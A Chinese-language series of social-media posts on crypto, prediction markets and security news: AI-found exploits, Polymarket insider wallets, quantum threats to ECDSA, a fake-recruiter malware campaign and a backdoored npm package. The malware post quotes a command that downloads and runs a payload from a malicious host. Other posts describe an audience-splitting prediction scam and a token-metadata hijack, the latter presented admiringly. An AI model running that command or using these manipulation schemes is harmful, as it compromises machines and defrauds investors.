TheSmartApe🔥

> 买更多比特币
> 为什么？
>

所以你基本上是在告诉我，你的一生 + 整个全球经济都依赖于此吗？

我们来了！第一个由人工智能开发的已知零日漏洞刚刚被谷歌发现。
有人使用大语言模型（LLM）发现了一个开源管理工具中的缺陷。然后让模型编写了一个绕过两步验证的Python脚本。接着开始在真实目标上使用它。
我们怎么知道这是AI？到处都是干净的文档字符串。模型实际上虚构的CVSS严重性评分。没人会在凌晨3点写出如此整洁的Python代码来寻找漏洞。
这个漏洞本身是一个逻辑缺陷，是某个开发者多年前硬编码的信任假设。这是LLMs擅长捕捉的那种错误。
多年来的问题一直是“AI能否帮助攻击者？”充满了犹豫。“理论上可以。” “最终可以。” “只要有足够的支撑。”
这个辩论已经结束。
现在的问题是“漏洞存在于你的堆栈中的某个地方”到“漏洞被大规模利用”之间的时间窗口有多快。以前是几个月，现在是几天。

> 把你所有的积蓄都花在 Claude credits 上
> 在项目进行到一半时就用完了
> 打开 mcdonald's 的客服聊天
> 问如何反转一个 linked list；顺便也能不能给我来点 nuggets
> 拿到一个可运行的 O(n) solution
> 要么适应，要么就死

一个知名人士每月从一个私人群组赚取6千美元，他刚刚告诉我他是如何建立起来的。
这纯粹是操控。
他有2.3万粉丝。他开始在@Polymarket上发布二元预测。是或否。
但在每次发帖之前，他将他的观众一分为二。
群组1 → “是”
群组2 → “否”
他们中一半总是看到他预测成功。
下一轮，他拿到获胜的一半，再次分成两组。一样的操作。对一边说“是”，对另一边说“否”。
他重复了7次。
最后，大约150人看到了他连续做出7个预测。他们相信他是个天才。
他其实没有预测任何东西。他只是把每个可能的答案发给不同的群组，并保留那些获胜的。
这150人中有120人成为每月50美元的付费订阅者。他们购买每一门课程、每一个信号、每一个他推出的产品。
小心那些完美无瑕的记录。这背后有很多工程技巧。

我在@Polymarket“美国是否会在2027年前确认外星人存在？”市场上看到许多内部活动。
4个新钱包，全部为单一用途，全部押注“是”。
总共154,000美元。
> 钱包1：celestat3123。新钱包，交易过的市场只有1个。投注金额：77,000美元。
> 钱包2：WeatherdemonAI。新钱包，交易过的市场只有1个。投注金额：54,000美元。
> 钱包3：0x7b989f25...e1be。新钱包，交易过的市场只有1个。投注金额：13,000美元。
> 钱包4：0x0560e9e8...99a4。新钱包，交易过的市场只有1个。投注金额：10,000美元。
这些钱包中的每一个都是专门为押注这个市场而开，之前或之后从未交易过其他Polymarket问题，且仍持有全部仓位。
美国政府中的某个人知道些什么吗？

我见过的在Polymarket上最干净的内部交易。
> 新钱包，加入于2026年4月。
> 在其整个历史中只有一次投注。
> $18k 在“us x iran ceasefire by april 7”上以3.9¢下注。
> 带着$218k走开了。
> 从未交易过。从未再次交易过。没有其他市场。
美国简报室里有个人在Polymarket上有一个账户。

这个家伙制作了一个微型设备，可以实时显示你的Claude代码使用情况(m5stickc plus或LilyGo T-Display S3)。
诀窍在于我喜欢的那部分。
他向Anthropic的API发送一个伪造的消息，max_tokens：1，基本上是一个ping。
不在意响应。 他想要的是响应头。
Anthropic在每次调用时返回anthropic-ratelimit-unified-5h-utilization和anthropic-ratelimit-unified-7d-utilization。他读取这些，绘制条形图，睡眠30秒，然后重复。

有人刚用cole allen的故事在五分钟内就赚了10万美元以上。
在uniswap上有一个名为$HENRY 的“死”代币，已经存在了大约一年。没有交易量，没有关注，基本毫无价值。
然后周六晚上发生了。“henry martinez”因为cole allen那条推文开始走红。有人注意到了这个死掉的代币。
接下来他做了这些：
> 在HENRY的供应几乎仍然是白送的时候买了一大袋。
> 支付~$300 来更新dexscreener上的元数据。把图片换成一个和henry martinez头像匹配的pepe。把描述以及挂的twitter链接改指向那个病毒式传播的账号。
这个代币从“死的”一路拉升到市值$1.2M。24小时上涨+280%。完成了17,769笔交易。交易量达到$8.5M。9,578个买家涌入，以为自己在交易“the henry martinez token”。
操盘手那一袋现在价值已经是六位数。玩法成本：$300。投入时间：五分钟。
这就是2026年在X上如何把注意力变现。你不需要一个项目。你不需要一个团队。你也不需要操纵K线图。你只需要在某件事病毒式传播时，成为第一个把一个死掉的代币元数据重新涂改的人。

你告诉我，七个月前，一台量子计算机破解了一个6位的椭圆曲线密钥。
上周，一位研究人员破解了15位的密钥，而比特币使用的是256位？
每个比特币钱包都由ecdsa保护，椭圆曲线数字签名算法。
你的私钥是你币的唯一钥匙。你的公钥是锁的序列号，所有人都能看到。
从公钥，你无法推导出私钥。这就是为什么你的比特币属于你的原因。
量子计算机可以破解这个。Shor的算法，在量子硬件上运行，可以从公钥计算出私钥。
这已经被证明了。唯一未解的问题是，能破解多大密钥的大小。
> 2025年9月：首次公开演示，6位密钥
> 2026年4月：Giancarlo Lelli用27个量子比特在45分钟内破解了15位密钥，赢得1比特币悬赏
这是7个月内512倍的飞跃。比特币使用256位。还剩241位。
听起来很遥远。其实并不。
谷歌2026年4月的白皮书估算，破解一个真正比特币密钥大约需要50万颗物理量子比特。
加州理工学院和Oratomic的一篇后续论文将这个估算降低到大约1万颗中性原子量子比特。
目前的硬件：IBM拥有超过1000个量子比特的机器。Atom Computing已展示了由1000多个中性原子组成的阵列。IBM计划到2026年底实现超过1万颗模块化量子比特。
“我们拥有的”和“所需的”之间的差距曾经是一堵墙。研究人员自己现在称之为“一个工程

当心假招聘面试。它们现在已成为最干净的恶意软件传播途径之一。
我兄弟这周差点中招。
步骤如下：
> 一个“招聘官”在领英上联系他
> 他们实际上已经阅读了他的简历，知道他的技术栈。他们预订了一个真实的面试时间。
> 面试前几小时：“你能在我们谈话前快速浏览一下我们的产品页面吗？”
> 访问该网站时，后台会运行以下内容：
curl -s macos[.]hyperhives[.]net/install | nohup bash &
如果你在提示时输入密码，就完了。
一位研究员(Darksp33d在Github)反向工程了这个二进制文件：
> 每个配置字符串都用570个独特的自定义函数加密
> 解包后：完整的C2服务器、端点列表，以及一个与开发者在法律传票下相关联的sentry错误追踪dsn
> 276个目标Chrome扩展ID，涵盖188个加密钱包
> 与朝鲜“传染性面试”攻击的TTP重叠很强
> virustotal评分9/64。CrowdStrike、Sophos、Malwarebytes都未检测到
真正的招聘官、真实的简历、真实的面试时间、看似真实的网站。一行curl就能掏空你的钱包。
如果“招聘官”让你在终端运行任何东西，即使是看似无害的构建脚本，也要关闭标签页。

大家都错过了这个。几天前，bitwarden cli (作为最大的密码管理器之一)在npm上被植入后门。
存在了93分钟。334名开发者在有人注意到之前就已安装。
事情的经过：
> 攻击者劫持了一名bitwarden工程师的github账户
> 推送了一个恶意版本的npm包(@bitwarden/cli@2026.4.0)。
> 在此期间运行npm install bitwarden/cli的任何人都拉取了后门。
安装脚本并未直接携带恶意软件。它从github的官方发布端点下载了bun运行时，因此网络流量看起来100%合法。然后bun执行了真正的载荷，bw1.js。
被窃取的内容：
> npm令牌
> github令牌
> ssh密钥
> aws / gcp / azure凭证
> .env文件的内容
> 来自claude code和codex cli的mcp配置文件(是的，AI助手的秘密现在也成为战利品的一部分)

伊朗表示在战争期间一些设备重启，而他们与全球网络断开连接。
假设：固件或引导加载程序的后门，由卫星触发。
它的工作原理：
> 代码植入在操作系统以下的固件或引导加载程序中
> 处于休眠状态。对标准监控工具不可见。
> 监听触发信号：定时器、畸形数据包或带外信号
> 触发时，运行预加载的载荷
> 重启会清除大部分证据
此时验证变得不可能，但保持警惕是有益的。